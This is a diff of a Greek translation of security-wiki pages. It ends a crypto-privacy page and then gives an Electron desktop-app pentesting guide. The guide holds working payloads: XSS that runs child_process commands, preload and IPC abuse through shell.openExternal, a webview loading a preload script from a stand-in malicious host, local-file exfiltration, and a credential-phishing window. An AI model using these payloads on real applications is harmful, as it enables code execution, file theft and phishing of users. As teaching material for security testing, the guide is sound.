Παραδείγματα συναλλαγών που μπορεί να χρησιμοποίησαν το CoinJoin περιλαμβάνουν `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` και `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Για περισσότερες πληροφορίες, επισκεφθείτε το [CoinJoin](https://coinjoin.io/en). Για μια παρόμοια υπηρεσία στο Ethereum, δείτε το [Tornado Cash](https://tornado.cash), το οποίο ανωνυμοποιεί τις συναλλαγές με κεφάλαια από εξορύκτες.
## PayJoin
Μια παραλλαγή του CoinJoin, **PayJoin** (ή P2EP), κρύβει τη συναλλαγή μεταξύ δύο μερών (π.χ., ενός πελάτη και ενός εμπόρου) ως κανονική συναλλαγή, χωρίς τα χαρακτηριστικά ίσων εξόδων που είναι χαρακτηριστικά του CoinJoin. Αυτό καθιστά εξαιρετικά δύσκολη την ανίχνευση και θα μπορούσε να ακυρώσει την κοινή ηθική ιδιοκτησίας εισροών που χρησιμοποιείται από τις οντότητες παρακολούθησης συναλλαγών.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Οι συναλλαγές όπως η παραπάνω θα μπορούσαν να είναι PayJoin, ενισχύοντας την ιδιωτικότητα ενώ παραμένουν αδιάκριτες από τις τυπικές συναλλαγές bitcoin.
**Η αξιοποίηση του PayJoin θα μπορούσε να διαταράξει σημαντικά τις παραδοσιακές μεθόδους επιτήρησης**, καθιστώντας το μια υποσχόμενη εξέλιξη στην επιδίωξη της συναλλακτικής ιδιωτικότητας.
# Καλές Πρακτικές για Ιδιωτικότητα στις Κρυπτονομίσματα
## **Τεχνικές Συγχρονισμού Πορτοφολιών**
Για να διατηρηθεί η ιδιωτικότητα και η ασφάλεια, ο συγχρονισμός των πορτοφολιών με την blockchain είναι κρίσιμος. Δύο μέθοδοι ξεχωρίζουν:
- **Πλήρης κόμβος**: Κατεβάζοντας ολόκληρη την blockchain, ένας πλήρης κόμβος εξασφαλίζει μέγιστη ιδιωτικότητα. Όλες οι συναλλαγές που έχουν γίνει ποτέ αποθηκεύονται τοπικά, καθιστώντας αδύνατο για τους αντιπάλους να προσδιορίσουν ποιες συναλλαγές ή διευθύνσεις ενδιαφέρει ο χρήστης.
- **Φιλτράρισμα μπλοκ από την πλευρά του πελάτη**: Αυτή η μέθοδος περιλαμβάνει τη δημιουργία φίλτρων για κάθε μπλοκ στην blockchain, επιτρέποντας στα πορτοφόλια να εντοπίζουν σχετικές συναλλαγές χωρίς να εκθέτουν συγκεκριμένα ενδιαφέροντα σε παρατηρητές του δικτύου. Τα ελαφριά πορτοφόλια κατεβάζουν αυτά τα φίλτρα, ανακτώντας πλήρη μπλοκ μόνο όταν βρεθεί αντιστοιχία με τις διευθύνσεις του χρήστη.
## **Χρήση του Tor για Ανωνυμία**
Δεδομένου ότι το Bitcoin λειτουργεί σε ένα δίκτυο peer-to-peer, συνιστάται η χρήση του Tor για να καλύψετε τη διεύθυνση IP σας, ενισχύοντας την ιδιωτικότητα κατά την αλληλεπίδραση με το δίκτυο.
## **Πρόληψη Επαναχρησιμοποίησης Διευθύνσεων**
Για να προστατευθεί η ιδιωτικότητα, είναι ζωτικής σημασίας να χρησιμοποιείτε μια νέα διεύθυνση για κάθε συναλλαγή. Η επαναχρησιμοποίηση διευθύνσεων μπορεί να θέσει σε κίνδυνο την ιδιωτικότητα συνδέοντας συναλλαγές με την ίδια οντότητα. Τα σύγχρονα πορτοφόλια αποθαρρύνουν την επαναχρησιμοποίηση διευθύνσεων μέσω του σχεδιασμού τους.
## **Στρατηγικές για Ιδιωτικότητα Συναλλαγών**
- **Πολλές συναλλαγές**: Η διαίρεση μιας πληρωμής σε πολλές συναλλαγές μπορεί να θολώσει το ποσό της συναλλαγής, αποτρέποντας επιθέσεις κατά της ιδιωτικότητας.
- **Αποφυγή αλλαγής**: Η επιλογή συναλλαγών που δεν απαιτούν εξόδους αλλαγής ενισχύει την ιδιωτικότητα διαταράσσοντας τις μεθόδους ανίχνευσης αλλαγής.
- **Πολλές εξόδους αλλαγής**: Εάν η αποφυγή αλλαγής δεν είναι εφικτή, η δημιουργία πολλών εξόδων αλλαγής μπορεί να βελτιώσει την ιδιωτικότητα.
# **Monero: Ένας Φάρος Ανωνυμίας**
Το Monero καλύπτει την ανάγκη για απόλυτη ανωνυμία στις ψηφιακές συναλλαγές, θέτοντας υψηλά πρότυπα για την ιδιωτικότητα.
# **Ethereum: Gas και Συναλλαγές**
## **Κατανόηση του Gas**
Το gas μετρά την υπολογιστική προσπάθεια που απαιτείται για την εκτέλεση λειτουργιών στο Ethereum, τιμολογούμενο σε **gwei**. Για παράδειγμα, μια συναλλαγή που κοστίζει 2,310,000 gwei (ή 0.00231 ETH) περιλαμβάνει ένα όριο gas και μια βασική χρέωση, με ένα φιλοδώρημα για να ενθαρρύνει τους miners. Οι χρήστες μπορούν να ορίσουν μια μέγιστη χρέωση για να διασφαλίσουν ότι δεν θα πληρώσουν υπερβολικά, με την υπερβάλλουσα χρέωση να επιστρέφεται.
## **Εκτέλεση Συναλλαγών**
Οι συναλλαγές στο Ethereum περιλαμβάνουν έναν αποστολέα και έναν παραλήπτη, οι οποίοι μπορεί να είναι είτε διευθύνσεις χρηστών είτε έξυπνων συμβολαίων. Απαιτούν μια χρέωση και πρέπει να εξορυχθούν. Οι βασικές πληροφορίες σε μια συναλλαγή περιλαμβάνουν τον παραλήπτη, την υπογραφή του αποστολέα, την αξία, προαιρετικά δεδομένα, το όριο gas και τις χρεώσεις. Σημαντικά, η διεύθυνση του αποστολέα deduced από την υπογραφή, εξαλείφοντας την ανάγκη για αυτήν στα δεδομένα της συναλλαγής.
Αυτές οι πρακτικές και μηχανισμοί είναι θεμελιώδεις για οποιονδήποτε επιθυμεί να ασχοληθεί με τα κρυπτονομίσματα ενώ δίνει προτεραιότητα στην ιδιωτικότητα και την ασφάλεια.
## Αναφορές
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
- [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions)
- [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,17 +1,17 @@
# Electron Desktop Apps
# Εφαρμογές Electron για Desktop
{{#include ../../../banners/hacktricks-training.md}}
## Εισαγωγή
Ο Electron συνδυάζει ένα τοπικό backend (με **NodeJS**) και ένα frontend (**Chromium**), αν και στερείται ορισμένων μηχανισμών ασφάλειας των σύγχρονων περιηγητών.
Το Electron συνδυάζει ένα τοπικό backend (με **NodeJS**) και ένα frontend (**Chromium**), αν και του λείπουν μερικοί από τους μηχανισμούς ασφάλειας των σύγχρονων περιηγητών.
Συνήθως μπορεί να βρείτε τον κώδικα μιας εφαρμογής Electron μέσα σε ένα αρχείο `.asar`. Για να αποκτήσετε τον κώδικα, πρέπει να το εξάγετε:
Συνήθως μπορεί να βρείτε τον κώδικα μιας εφαρμογής Electron μέσα σε ένα αρχείο `.asar`. Για να αποκτήσετε τον κώδικα, πρέπει να το εξαγάγετε:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
Στον πηγαίο κώδικα μιας Electron εφαρμογής, μέσα στο `packet.json`, μπορείτε να βρείτε καθορισμένο το αρχείο `main.js` όπου ορίζονται οι ρυθμίσεις ασφαλείας.
Στον πηγαίο κώδικα μιας εφαρμογής Electron, μέσα στο `packet.json`, μπορείτε να βρείτε το καθορισμένο αρχείο `main.js` όπου ορίζονται οι ρυθμίσεις ασφάλειας.
```json
{
"name": "standard-notes",
@ -19,12 +19,12 @@ npx asar extract-file app.asar main.js #Extract just a file
```
Το Electron έχει 2 τύπους διεργασιών:
- Κύρια Διεργασία (έχει πλήρη πρόσβαση στο NodeJS)
- Διεργασία Renderer (θα πρέπει να έχει περιορισμένη πρόσβαση στο NodeJS για λόγους ασφάλειας)
- Κύρια διεργασία (έχει πλήρη πρόσβαση στο NodeJS)
- Διεργασία renderer (θα πρέπει να έχει περιορισμένη πρόσβαση στο NodeJS για λόγους ασφάλειας)
![](<../../../images/image (182).png>)
Μια **Διεργασία Renderer** θα είναι ένα παράθυρο του προγράμματος περιήγησης που φορτώνει ένα αρχείο:
Μια **διεργασία renderer** θα είναι ένα παράθυρο περιηγητή που φορτώνει ένα αρχείο:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
@ -32,20 +32,20 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
Οι ρυθμίσεις της **renderer process** μπορούν να **διαμορφωθούν** στην **main process** μέσα στο αρχείο main.js. Κάποιες από τις ρυθμίσεις θα **αποτρέψουν την Electron application να αποκτήσει RCE** ή άλλες ευπάθειες εάν οι **ρυθμίσεις είναι σωστά διαμορφωμένες**.
Οι ρυθμίσεις της **renderer process** μπορούν να **διαμορφωθούν** στη **main process** μέσα στο αρχείο main.js. Ορισμένες από τις ρυθμίσεις θα **αποτρέψουν το Electron application από το να αποκτήσει RCE** ή άλλες ευπάθειες αν οι **ρυθμίσεις είναι σωστά διαμορφωμένες**.
Η electron application **θα μπορούσε να αποκτήσει πρόσβαση στη συσκευή** μέσω των Node apis, παρόλο που μπορεί να διαμορφωθεί για να το αποτρέψει:
Το Electron application **μπορεί να αποκτήσει πρόσβαση στη συσκευή** μέσω Node apis αν και μπορεί να ρυθμιστεί ώστε να το αποτρέψει:
- **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the renderer process.
- **`contextIsolation`** - is `on` by default. If off, main and renderer processes aren't isolated.
- **`preload`** - empty by default.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform.
- **`nodeIntegration`** - είναι `off` από προεπιλογή. Αν είναι `on`, επιτρέπει την πρόσβαση σε node features από τη renderer process.
- **`contextIsolation`** - είναι `on` από προεπιλογή. Αν είναι `off`, τα main και renderer processes δεν είναι απομονωμένα.
- **`preload`** - κενό από προεπιλογή.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - είναι `off` από προεπιλογή. Θα περιορίσει τις ενέργειες που μπορεί να εκτελέσει το NodeJS.
- Node Integration in Workers
- **`nodeIntegrationInSubframes`**- is `off` by default.
- If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application.
- If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe
- **`nodeIntegrationInSubframes`**- είναι `off` από προεπιλογή.
- Αν το **`nodeIntegration`** είναι **enabled**, αυτό θα επιτρέψει τη χρήση των **Node.js APIs** σε web pages που είναι **φορτωμένες σε iframes** εντός ενός Electron application.
- Αν το **`nodeIntegration`** είναι **disabled**, τότε τα preloads θα φορτωθούν στο iframe
Example of configuration:
Παράδειγμα διαμόρφωσης:
```javascript
const mainWindowOptions = {
title: "Discord",
@ -95,9 +95,9 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### Καταγραφή κίνησης
### Καταγραφή δικτυακής κίνησης
Τροποποιήστε τη ρύθμιση start-main και προσθέστε τη χρήση ενός proxy όπως:
Τροποποιήστε τη διαμόρφωση start-main και προσθέστε τη χρήση ενός proxy όπως:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
@ -112,7 +112,7 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
## RCE: XSS + nodeIntegration
Εάν το **nodeIntegration** είναι ρυθμισμένο σε **on**, το JavaScript μιας web σελίδας μπορεί να χρησιμοποιήσει δυνατότητες του Node.js εύκολα απλά καλώντας το `require()`. Για παράδειγμα, ο τρόπος για να εκτελέσετε την εφαρμογή calc στα Windows είναι:
Αν η **nodeIntegration** είναι ρυθμισμένη σε **on**, το JavaScript μιας web σελίδας μπορεί να χρησιμοποιήσει δυνατότητες του Node.js εύκολα απλώς καλώντας το `require()`. Για παράδειγμα, ο τρόπος για να εκτελέσετε την εφαρμογή calc στα Windows είναι:
```html
<script>
require("child_process").exec("calc")
@ -124,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
Το script που υποδεικνύεται σε αυτή τη ρύθμιση είναι l**oaded before other scripts in the renderer**, οπότε έχει **unlimited access to Node APIs**:
Το script που υποδεικνύεται σε αυτή τη ρύθμιση είναι l**φορτωμένο πριν από άλλα scripts στον renderer**, οπότε έχει **απεριόριστη πρόσβαση στα Node APIs**:
```javascript
new BrowserWindow{
webPreferences: {
@ -133,7 +133,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
Επομένως, το script μπορεί να εξάγει node-features σε σελίδες:
Συνεπώς, το script μπορεί να εξάγει node-features σε pages:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
@ -149,20 +149,20 @@ runCalc()
</script>
</body>
```
> [!NOTE] > **If `contextIsolation` is on, this won't work**
> [!NOTE] > **Εάν `contextIsolation` είναι ενεργό, αυτό δεν θα λειτουργήσει**
## RCE: XSS + contextIsolation
Το _**contextIsolation**_ εισάγει τα **ξεχωριστά contexts ανάμεσα στα scripts της σελίδας web και στον εσωτερικό JavaScript κώδικα του Electron**, έτσι ώστε η εκτέλεση JavaScript του κάθε κώδικα να μην επηρεάζει τον άλλο. Αυτή είναι μια απαραίτητη λειτουργία για να εξαλειφθεί η πιθανότητα RCE.
Το _**contextIsolation**_ εισάγει τα **διαχωρισμένα contexts μεταξύ των scripts της web σελίδας και του internal JavaScript κώδικα του Electron** έτσι ώστε η εκτέλεση JavaScript κάθε κομματιού κώδικα να μην επηρεάζει το άλλο. Αυτή είναι μια απαραίτητη λειτουργία για να εξαλειφθεί η πιθανότητα RCE.
Αν τα contexts δεν είναι απομονωμένα, ένας επιτιθέμενος μπορεί:
Εάν τα contexts δεν είναι απομονωμένα, ένας attacker μπορεί:
1. Εκτελέσει **αυθαίρετο JavaScript στον renderer** (XSS ή πλοήγηση σε εξωτερικούς ιστότοπους)
2. **Αντικαταστήσει μια built-in μέθοδο** που χρησιμοποιείται σε preload ή στον εσωτερικό κώδικα του Electron για να αποκτήσει έλεγχο
3. **Προκαλέσει** τη χρήση της **αντικαταστημένης συνάρτησης**
1. Εκτελέσει **arbitrary JavaScript in renderer** (XSS ή navigation σε external sites)
2. **Overwrite the built-in method** η οποία χρησιμοποιείται στο preload ή στον Electron internal code για να own function
3. Trigger τη χρήση της **overwritten function**
4. RCE?
Υπάρχουν 2 σημεία όπου ενσωματωμένες μέθοδοι μπορούν να αντικατασταθούν: Στον preload κώδικα ή στον εσωτερικό κώδικα του Electron:
Υπάρχουν 2 σημεία όπου built-int methods μπορούν να αντικατασταθούν: Στον preload code ή στον Electron internal code:
{{#ref}}
@ -179,9 +179,9 @@ electron-contextisolation-rce-via-electron-internal-code.md
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### Bypass click event
### Παράκαμψη του click event
Εάν υπάρχουν περιορισμοί όταν κάνεις κλικ σε έναν σύνδεσμο, μπορεί να καταφέρεις να τους παρακάμψεις **κάνoντας middle click** αντί για το κανονικό left click
Εάν υπάρχουν περιορισμοί που εφαρμόζονται όταν κάνεις κλικ σε ένα link, μπορεί να τους παρακάμψεις **doing a middle click** αντί για ένα κανονικό left click
```javascript
window.addEventListener('click', (e) => {
```
@ -189,26 +189,26 @@ window.addEventListener('click', (e) => {
Για περισσότερες πληροφορίες σχετικά με αυτά τα παραδείγματα δείτε [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) και [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Κατά την ανάπτυξη μιας Electron desktop εφαρμογής, η σωστή ρύθμιση των `nodeIntegration` και `contextIsolation` είναι κρίσιμη. Έχει διαπιστωθεί ότι η **client-side remote code execution (RCE)** που στοχεύει preload scripts ή Electron's native code από τη main process αποτρέπεται αποτελεσματικά όταν αυτές οι ρυθμίσεις είναι ενεργές.
Κατά την ανάπτυξη μιας επιτραπέζιας εφαρμογής Electron, η σωστή ρύθμιση των `nodeIntegration` και `contextIsolation` είναι κρίσιμη. Έχει διαπιστωθεί ότι η **client-side remote code execution (RCE)**, που στοχεύει preload scripts ή το native code του Electron από τη main process, αποτρέπεται αποτελεσματικά όταν αυτές οι ρυθμίσεις είναι ενεργές.
Όταν ένας χρήστης αλληλεπιδρά με συνδέσμους ή ανοίγει νέα παράθυρα, ενεργοποιούνται συγκεκριμένοι event listeners, οι οποίοι είναι κρίσιμοι για την ασφάλεια και τη λειτουργικότητα της εφαρμογής:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Αυτοί οι listeners είναι **υπερκαθορίζονται από την desktop εφαρμογή** για να υλοποιήσει τη δική της **επιχειρηματική λογική**. Η εφαρμογή αξιολογεί αν ένας πλοηγημένος σύνδεσμος πρέπει να ανοιχθεί εσωτερικά ή σε εξωτερικό web browser. Η απόφαση αυτή συνήθως λαμβάνεται μέσω μιας συνάρτησης, `openInternally`. Αν αυτή η συνάρτηση επιστρέψει `false`, σημαίνει ότι ο σύνδεσμος πρέπει να ανοίξει εξωτερικά, χρησιμοποιώντας τη συνάρτηση `shell.openExternal`.
Αυτοί οι listeners είναι **υπερκαλυπτόμενοι από την επιτραπέζια εφαρμογή** για να υλοποιήσει τη δική της **επιχειρησιακή λογική**. Η εφαρμογή αξιολογεί εάν ένας πλοηγημένος σύνδεσμος πρέπει να ανοίξει εσωτερικά ή σε έναν εξωτερικό web browser. Αυτή η απόφαση συνήθως λαμβάνεται μέσω μιας συνάρτησης, `openInternally`. Εάν αυτή η συνάρτηση επιστρέψει `false`, σημαίνει ότι ο σύνδεσμος πρέπει να ανοίξει εξωτερικά, χρησιμοποιώντας τη συνάρτηση `shell.openExternal`.
**Εδώ είναι ένας απλουστευμένος ψευδοκώδικας:**
**Here is a simplified pseudocode:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Οι βέλτιστες πρακτικές ασφαλείας για το Electron JS συνιστούν να μην γίνεται αποδοχή μη αξιόπιστου περιεχομένου με τη συνάρτηση `openExternal`, καθώς αυτό μπορεί να οδηγήσει σε RCE μέσω διαφόρων πρωτοκόλλων. Τα λειτουργικά συστήματα υποστηρίζουν διαφορετικά πρωτόκολλα που μπορεί να προκαλέσουν RCE. Για λεπτομερή παραδείγματα και περαιτέρω επεξήγηση πάνω στο θέμα αυτό, ανατρέξτε σε [αυτόν τον πόρο](https://positive.security/blog/url-open-rce#windows-10-19042), ο οποίος περιλαμβάνει παραδείγματα πρωτοκόλλων των Windows ικανά να εκμεταλλευτούν αυτή την ευπάθεια.
Τα security best practices του Electron JS συνιστούν να μην γίνονται αποδεκτά μη αξιόπιστα περιεχόμενα μέσω της συνάρτησης `openExternal`, καθώς αυτό μπορεί να οδηγήσει σε RCE μέσω διαφόρων πρωτοκόλλων. Τα λειτουργικά συστήματα υποστηρίζουν διαφορετικά πρωτόκολλα που μπορεί να ενεργοποιήσουν RCE. Για λεπτομερή παραδείγματα και περαιτέρω εξήγηση πάνω σε αυτό το θέμα, μπορείτε να ανατρέξετε σε [αυτή την πηγή](https://positive.security/blog/url-open-rce#windows-10-19042), η οποία περιλαμβάνει παραδείγματα πρωτοκόλλων Windows ικανών να εκμεταλλευτούν αυτήν την ευπάθεια.
Στο macos, η συνάρτηση `openExternal` μπορεί να εκμεταλλευτεί για την εκτέλεση αυθαίρετων εντολών, όπως στο `shell.openExternal('file:///System/Applications/Calculator.app')`.
Σε macos, η συνάρτηση `openExternal` μπορεί να εκμεταλλευτεί για να εκτελέσει αυθαίρετες εντολές, όπως στο `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Παραδείγματα εκμεταλλεύσεων πρωτοκόλλων των Windows περιλαμβάνουν:**
**Παραδείγματα εκμεταλλεύσεων πρωτοκόλλων Windows περιλαμβάνουν:**
```html
<script>
window.open(
@ -228,17 +228,17 @@ window.open(
)
</script>
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
## RCE: webviewTag + ευπαθές preload IPC + shell.openExternal
Αυτό το vuln μπορεί να βρεθεί στο **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
Το **webviewTag** είναι ένα **deprecated feature** που επιτρέπει τη χρήση του **NodeJS** στη **renderer process**, οπότε θα πρέπει να απενεργοποιηθεί καθώς επιτρέπει το φόρτωμα ενός script μέσα στο preload context όπως:
Το **webviewTag** είναι μια **απαρχαιωμένη λειτουργία** που επιτρέπει τη χρήση του **NodeJS** στη **renderer process**, η οποία πρέπει να απενεργοποιηθεί καθώς επιτρέπει να φορτωθεί ένα script μέσα στο preload context όπως:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
Συνεπώς, ένας επιτιθέμενος που καταφέρνει να φορτώσει μια αυθαίρετη σελίδα θα μπορούσε να χρησιμοποιήσει αυτό το tag για να **φορτώσει ένα αυθαίρετο preload script**.
Επομένως, ένας επιτιθέμενος που καταφέρνει να φορτώσει μια αυθαίρετη σελίδα θα μπορούσε να χρησιμοποιήσει αυτό το tag για να **φορτώσει ένα αυθαίρετο preload script**.
Αυτό το preload script καταχρήστηκε τότε για να καλέσει μια **vulnerable IPC service (`skype-new-window`)** η οποία καλούσε **`shell.openExternal`** για να αποκτήσει RCE:
Αυτό το preload script εκμεταλλεύτηκε στη συνέχεια για να καλέσει μια **vulnerable IPC service (`skype-new-window`)** η οποία καλούσε καλούσε **`shell.openExternal`** για να αποκτήσει RCE:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
@ -251,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
```
## Ανάγνωση Εσωτερικών Αρχείων: XSS + contextIsolation
**Η απενεργοποίηση του `contextIsolation` επιτρέπει τη χρήση των tags `<webview>`, παρόμοια με `<iframe>`, για ανάγνωση και exfiltrating τοπικών αρχείων.** Ένα παράδειγμα που παρέχεται δείχνει πώς να εκμεταλλευτείτε αυτήν την ευπάθεια για να διαβάσετε τα περιεχόμενα εσωτερικών αρχείων:
**Απενεργοποίηση `contextIsolation` επιτρέπει τη χρήση των `<webview>` ετικετών**, παρόμοια με `<iframe>`, για την ανάγνωση και exfiltrating τοπικών αρχείων. Ένα παράδειγμα δείχνει πώς να εκμεταλλευτείτε αυτήν την ευπάθεια για να διαβάσετε τα περιεχόμενα εσωτερικών αρχείων:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Επιπλέον, παρουσιάζεται άλλη μέθοδος για **ανάγνωση ενός εσωτερικού αρχείου**, που αναδεικνύει μια κρίσιμη ευπάθεια ανάγνωσης τοπικών αρχείων σε ένα Electron desktop app. Αυτή περιλαμβάνει την έγχυση ενός script για την εκμετάλλευση της εφαρμογής και exfiltrate data:
Επιπλέον, παρουσιάζεται μια άλλη μέθοδος για **ανάγνωση εσωτερικού αρχείου**, υπογραμμίζοντας μια κρίσιμη ευπάθεια τοπικής ανάγνωσης αρχείων σε Electron desktop app. Αυτό περιλαμβάνει την ένεση ενός script για να εκμεταλλευτεί την εφαρμογή και να exfiltrate δεδομένα:
```html
<br /><br /><br /><br />
<h1>
@ -273,21 +273,21 @@ frames[0].document.body.innerText
```
## **RCE: XSS + Παλιό Chromium**
Εάν το **chromium** που χρησιμοποιείται από την εφαρμογή είναι **παλιό** και υπάρχουν **γνωστές** **vulnerabilities** σε αυτό, μπορεί να είναι δυνατό να **exploit it and obtain RCE through a XSS**.\
Εάν το **chromium** που χρησιμοποιεί η εφαρμογή είναι **παλιό** και υπάρχουν **γνωστές** **vulnerabilities** σε αυτό, μπορεί να είναι δυνατό να το **exploit** και να αποκτήσετε **RCE μέσω XSS**.\
Μπορείτε να δείτε ένα παράδειγμα σε αυτό το **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing via Internal URL regex bypass**
## **XSS Phishing μέσω Internal URL regex bypass**
Υποθέτοντας ότι βρήκατε ένα XSS αλλά **δεν μπορείτε να trigger RCE ή να steal internal files**, μπορείτε να προσπαθήσετε να το χρησιμοποιήσετε για να **steal credentials via phishing**.
Υποθέτοντας ότι βρήκατε ένα XSS αλλά **δεν μπορείτε να ενεργοποιήσετε RCE ή να κλέψετε εσωτερικά αρχεία**, μπορείτε να προσπαθήσετε να το χρησιμοποιήσετε για να **κλέψετε διαπιστευτήρια μέσω phishing**.
Πρώτα απ' όλα πρέπει να ξέρετε τι συμβαίνει όταν προσπαθείτε να ανοίξετε ένα νέο URL, εξετάζοντας τον JS κώδικα στο front-end:
Πρώτα απ' όλα πρέπει να ξέρετε τι συμβαίνει όταν προσπαθείτε να ανοίξετε ένα νέο URL, ελέγχοντας τον κώδικα JS στο front-end:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
Η κλήση στη **`openInternally`** θα αποφασίσει εάν το **link** θα **opened** στο **desktop window**, καθώς είναι link που ανήκει στην πλατφόρμα, **or** αν θα ανοίξει στον **browser as a 3rd party resource**.
Η κλήση στην **`openInternally`** θα αποφασίσει αν ο **σύνδεσμος** θα **ανοίξει** στο **παράθυρο της desktop εφαρμογής** καθώς είναι σύνδεσμος που ανήκει στην πλατφόρμα, **ή** αν θα ανοίξει στον **browser ως 3rd party resource**.
Σε περίπτωση που το **regex** που χρησιμοποιεί η συνάρτηση είναι **vulnerable to bypasses** (για παράδειγμα **not escaping the dots of subdomains**) ένας attacker θα μπορούσε να εκμεταλλευτεί το XSS για να **open a new window which** θα βρίσκεται στην υποδομή του attacker **asking for credentials** από τον χρήστη:
Σε περίπτωση που το **regex** που χρησιμοποιεί η συνάρτηση είναι **vulnerable to bypasses** (για παράδειγμα με το **να μην γίνεται escaping των τελείων των subdomains**) ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί το XSS για να **ανοίξει ένα νέο παράθυρο το οποίο** θα βρισκόταν στην υποδομή του επιτιθέμενου **ζητώντας credentials** από τον χρήστη:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
@ -295,21 +295,21 @@ window.open("<http://subdomainagoogleq.com/index.html>")
```
## `file://` Πρωτόκολλο
Όπως αναφέρεται στο [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) οι σελίδες που τρέχουν σε **`file://`** έχουν μονομερή πρόσβαση σε κάθε αρχείο στον υπολογιστή σας, πράγμα που σημαίνει ότι προβλήματα **XSS μπορούν να χρησιμοποιηθούν για να φορτώσουν αυθαίρετα αρχεία** από τον υπολογιστή του χρήστη. Η χρήση ενός **προσαρμοσμένου πρωτοκόλλου** αποτρέπει τέτοια προβλήματα, αφού μπορείτε να περιορίσετε το πρωτόκολλο ώστε να εξυπηρετεί μόνο ένα συγκεκριμένο σύνολο αρχείων.
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **προσαρμοσμένο πρωτόκολλο** prevents issues like this as you can limit the protocol to only serving a specific set of files.
## Remote module
Το Electron Remote module επιτρέπει στα **renderer processes to access main process APIs**, διευκολύνοντας την επικοινωνία μέσα σε μια εφαρμογή Electron. Ωστόσο, η ενεργοποίηση αυτού του module εισάγει σημαντικούς κινδύνους ασφαλείας. Αυξάνει την επιφάνεια επίθεσης της εφαρμογής, καθιστώντας την πιο επιρρεπή σε ευπάθειες όπως το cross-site scripting (XSS).
Το Electron Remote module επιτρέπει στις **renderer processes να έχουν πρόσβαση στα main process APIs**, διευκολύνοντας την επικοινωνία μέσα σε μια εφαρμογή Electron. Ωστόσο, η ενεργοποίηση αυτού του module εισάγει σημαντικούς κινδύνους ασφάλειας. Αυξάνει την επιφάνεια επίθεσης της εφαρμογής, καθιστώντας την πιο επιρρεπή σε ευπάθειες όπως cross-site scripting (XSS) επιθέσεις.
> [!TIP]
> Παρόλο που το **remote** module εκθέτει ορισμένα APIs από το main στα renderer processes, δεν είναι απλό να προκύψει RCE απλώς από την κατάχρηση των components. Ωστόσο, τα components μπορεί να εκθέτουν ευαίσθητες πληροφορίες.
> Αν και το **remote** module εκθέτει κάποια APIs από το main προς τις renderer processes, δεν είναι απλό να επιτευχθεί RCE απλώς με την κατάχρηση των components. Ωστόσο, τα components μπορεί να αποκαλύψουν ευαίσθητες πληροφορίες.
> [!WARNING]
> Πολλές εφαρμογές που εξακολουθούν να χρησιμοποιούν το remote module το κάνουν με τρόπο που **απαιτεί την ενεργοποίηση του NodeIntegration** στη renderer process, κάτι που αποτελεί **τεράστιο κίνδυνο για την ασφάλεια**.
